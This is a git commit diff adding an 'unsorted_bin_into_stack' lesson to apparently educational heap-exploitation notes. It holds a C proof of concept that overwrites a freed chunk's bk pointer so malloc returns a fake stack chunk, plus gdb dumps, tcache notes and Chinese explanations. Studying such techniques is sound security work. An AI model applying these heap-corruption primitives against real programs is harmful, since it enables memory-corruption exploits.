add unsorted_bin_into_stack

This commit is contained in:
firmianay 2018-06-05 19:37:30 +08:00
parent fde29fc586
commit b512426901
4 changed files with 180 additions and 3 deletions

View File

@ -2,6 +2,7 @@
- [how2heap](#how2heap)
- [house_of_force](#house_of_force)
- [unsorted_bin_into_stack](#unsorted_bin_into_stack)
- [unsorted_bin_attack](#unsorted_bin_attack)
- [house_of_einherjar](#house_of_einherjar)
- [house_of_orange](#house_of_orange)
@ -123,6 +124,146 @@ gef➤ x/12gx 0x602010+0xfffffffffffff050
```
该技术的缺点是会受到 ASLR 的影响,因为如果攻击者需要修改指定位置的内存,他首先需要知道当前 top chunk 的位置以构造合适的 malloc 大小来转移 top chunk。而 ASLR 将使堆内存地址随机,所以该技术还需同时配合使用信息泄漏以达成攻击。
#### unsorted_bin_into_stack
```c
#include <stdio.h>
#include <stdlib.h>
int main() {
unsigned long stack_buf[4] = {0};
unsigned long *victim = malloc(0x80);
unsigned long *p1 = malloc(0x10);
fprintf(stderr, "Allocating the victim chunk at %p\n", victim);
// deal with tcache
// int *k[10], i;
// for (i = 0; i < 7; i++) {
// k[i] = malloc(0x80);
// }
// for (i = 0; i < 7; i++) {
// free(k[i]);
// }
free(victim);
fprintf(stderr, "Freeing the chunk, it will be inserted in the unsorted bin\n\n");
stack_buf[1] = 0x100 + 0x10;
stack_buf[3] = (unsigned long)stack_buf; // or any other writable address
fprintf(stderr, "Create a fake chunk on the stack\n");
fprintf(stderr, "fake->size: %p\n", (void *)stack_buf[1]);
fprintf(stderr, "fake->bk: %p\n\n", (void *)stack_buf[3]);
victim[1] = (unsigned long)stack_buf;
fprintf(stderr, "Now we overwrite the victim->bk pointer to stack: %p\n\n", stack_buf);
fprintf(stderr, "Malloc a chunk which size is 0x110 will return the region of our fake chunk: %p\n", &stack_buf[2]);
unsigned long *fake = malloc(0x100);
fprintf(stderr, "malloc(0x100): %p\n", fake);
}
```
```
$ gcc -g unsorted_bin_into_stack.c
$ ./a.out
Allocating the victim chunk at 0x17a1010
Freeing the chunk, it will be inserted in the unsorted bin
Create a fake chunk on the stack
fake->size: 0x110
fake->bk: 0x7fffcd906480
Now we overwrite the victim->bk pointer to stack: 0x7fffcd906480
Malloc a chunk which size is 0x110 will return the region of our fake chunk: 0x7fffcd906490
malloc(0x100): 0x7fffcd906490
```
unsorted-bin-into-stack 通过改写 unsorted bin 里 chunk 的 bk 指针到任意地址,从而在栈上 malloc 出 chunk。
首先将一个 chunk 放入 unsorted bin并且在栈上伪造一个 chunk
```
gdb-peda$ x/6gx victim - 2
0x602000: 0x0000000000000000 0x0000000000000091 <-- victim chunk
0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x602020: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/4gx stack_buf
0x7fffffffdbc0: 0x0000000000000000 0x0000000000000110 <-- fake chunk
0x7fffffffdbd0: 0x0000000000000000 0x00007fffffffdbc0
```
然后假设有一个漏洞,可以改写 victim chunk 的 bk 指针,那么将其改为指向 fake chunk
```
gdb-peda$ x/6gx victim - 2
0x602000: 0x0000000000000000 0x0000000000000091 <-- victim chunk
0x602010: 0x00007ffff7dd1b78 0x00007fffffffdbc0 <-- bk pointer
0x602020: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/4gx stack_buf
0x7fffffffdbc0: 0x0000000000000000 0x0000000000000110 <-- fake chunk
0x7fffffffdbd0: 0x0000000000000000 0x00007fffffffdbc0
```
那么此时就相当于 fake chunk 已经被链接到 unsorted bin 中。在下一次 malloc 的时候malloc 会顺着 bk 指针进行遍历,于是就找到了大小正好合适的 fake chunk
```
gdb-peda$ x/6gx victim - 2
0x602000: 0x0000000000000000 0x0000000000000091 <-- victim chunk
0x602010: 0x00007ffff7dd1bf8 0x00007ffff7dd1bf8
0x602020: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/4gx fake - 2
0x7fffffffdbc0: 0x0000000000000000 0x0000000000000110 <-- fake chunk
0x7fffffffdbd0: 0x00007ffff7dd1b78 0x00007fffffffdbc0
```
fake chunk 被取出,而 victim chunk 被从 unsorted bin 中取出来放到了 small bin 中。另外值得注意的是 fake chunk 的 fd 指针被修改了,这是 unsorted bin 的地址,通过它可以泄露 libc 地址,这正是下面 unsorted bin attack 会讲到的。
将上面的代码解除注释,就是 libc-2.27 环境下的版本,但是需要注意的是由于 tcache 的影响,`stack_buf[3]` 不能再设置成任意地址。
malloc 前:
```
gdb-peda$ x/6gx victim - 2
0x555555756250: 0x0000000000000000 0x0000000000000091 <-- victim chunk
0x555555756260: 0x00007ffff7dd2b00 0x00007fffffffdcb0
0x555555756270: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/4gx stack_buf
0x7fffffffdcb0: 0x0000000000000000 0x0000000000000110 <-- fake chunk
0x7fffffffdcc0: 0x0000000000000000 0x00007fffffffdcb0
gdb-peda$ x/26gx 0x0000555555756000+0x10
0x555555756010: 0x0700000000000000 0x0000000000000000 <-- counts
0x555555756020: 0x0000000000000000 0x0000000000000000
0x555555756030: 0x0000000000000000 0x0000000000000000
0x555555756040: 0x0000000000000000 0x0000000000000000
0x555555756050: 0x0000000000000000 0x0000000000000000
0x555555756060: 0x0000000000000000 0x0000000000000000
0x555555756070: 0x0000000000000000 0x0000000000000000
0x555555756080: 0x0000000000000000 0x0000555555756670 <-- entries
0x555555756090: 0x0000000000000000 0x0000000000000000
0x5555557560a0: 0x0000000000000000 0x0000000000000000
0x5555557560b0: 0x0000000000000000 0x0000000000000000
0x5555557560c0: 0x0000000000000000 0x0000000000000000
0x5555557560d0: 0x0000000000000000 0x0000000000000000
```
malloc 后:
```
gdb-peda$ x/6gx victim - 2
0x555555756250: 0x0000000000000000 0x0000000000000091 <-- victim chunk
0x555555756260: 0x00007ffff7dd2b80 0x00007ffff7dd2b80
0x555555756270: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/4gx fake - 2
0x7fffffffdcb0: 0x0000000000000000 0x0000000000000110 <-- fake chunk
0x7fffffffdcc0: 0x00007ffff7dd2b00 0x00007fffffffdcb0
gdb-peda$ x/26gx 0x0000555555756000+0x10
0x555555756010: 0x0700000000000000 0x0700000000000000 <-- counts <-- counts
0x555555756020: 0x0000000000000000 0x0000000000000000
0x555555756030: 0x0000000000000000 0x0000000000000000
0x555555756040: 0x0000000000000000 0x0000000000000000
0x555555756050: 0x0000000000000000 0x0000000000000000
0x555555756060: 0x0000000000000000 0x0000000000000000
0x555555756070: 0x0000000000000000 0x0000000000000000
0x555555756080: 0x0000000000000000 0x0000555555756670 <-- entries
0x555555756090: 0x0000000000000000 0x0000000000000000
0x5555557560a0: 0x0000000000000000 0x0000000000000000
0x5555557560b0: 0x0000000000000000 0x0000000000000000
0x5555557560c0: 0x0000000000000000 0x00007fffffffdcc0 <-- entries
0x5555557560d0: 0x0000000000000000 0x0000000000000000
```
可以看到在 malloc 时fake chunk 被不断重复地链接到 tcache bin直到装满后才从 unsorted bin 里取出。同样的fake chunk 的 fd 指向 unsorted bin。
#### unsorted_bin_attack
```c
#include <stdio.h>
@ -132,7 +273,7 @@ int main() {
unsigned long stack_var = 0;
fprintf(stderr, "The target we want to rewrite on stack: %p -> %ld\n\n", &stack_var, stack_var);
unsigned long *p = malloc(0x80);
unsigned long *p = malloc(0x80);
unsigned long *p1 = malloc(0x10);
fprintf(stderr, "Now, we allocate first small chunk on the heap at: %p\n",p);

View File

@ -1,4 +1,4 @@
PROGRAMS = fastbin_dup tcache_double-free fastbin_dup_into_stack fastbin_dup_consolidate unsafe_unlink house_of_spirit poison_null_byte malloc_playground first_fit house_of_lore tcache_house_of_lore overlapping_chunks overlapping_chunks_2 house_of_force unsorted_bin_attack tcache_unsorted_bin_attack house_of_einherjar house_of_orange
PROGRAMS = fastbin_dup tcache_double-free fastbin_dup_into_stack fastbin_dup_consolidate unsafe_unlink house_of_spirit poison_null_byte malloc_playground first_fit house_of_lore tcache_house_of_lore overlapping_chunks overlapping_chunks_2 house_of_force unsorted_bin_attack unsorted_bin_into_stack tcache_unsorted_bin_attack house_of_einherjar house_of_orange
CFLAGS += -std=c99 -g
# CFLAGS += -fsanitize=address

View File

@ -5,7 +5,7 @@ int main() {
unsigned long stack_var = 0;
fprintf(stderr, "The target we want to rewrite on stack: %p -> %ld\n\n", &stack_var, stack_var);
unsigned long *p = malloc(0x80);
unsigned long *p = malloc(0x80);
unsigned long *p1 = malloc(0x10);
fprintf(stderr, "Now, we allocate first small chunk on the heap at: %p\n",p);

View File

@ -0,0 +1,36 @@
#include <stdio.h>
#include <stdlib.h>
int main() {
unsigned long stack_buf[4] = {0};
unsigned long *victim = malloc(0x80);
unsigned long *p1 = malloc(0x10);
fprintf(stderr, "Allocating the victim chunk at %p\n", victim);
// deal with tcache
// int *k[10], i;
// for (i = 0; i < 7; i++) {
// k[i] = malloc(0x80);
// }
// for (i = 0; i < 7; i++) {
// free(k[i]);
// }
free(victim);
fprintf(stderr, "Freeing the chunk, it will be inserted in the unsorted bin\n\n");
stack_buf[1] = 0x100 + 0x10;
stack_buf[3] = (unsigned long)stack_buf; // or any other writable address
fprintf(stderr, "Create a fake chunk on the stack\n");
fprintf(stderr, "fake->size: %p\n", (void *)stack_buf[1]);
fprintf(stderr, "fake->bk: %p\n\n", (void *)stack_buf[3]);
victim[1] = (unsigned long)stack_buf;
fprintf(stderr, "Now we overwrite the victim->bk pointer to stack: %p\n\n", stack_buf);
fprintf(stderr, "Malloc a chunk which size is 0x110 will return the region of our fake chunk: %p\n", &stack_buf[2]);
unsigned long *fake = malloc(0x100);
fprintf(stderr, "malloc(0x100): %p\n", fake);
}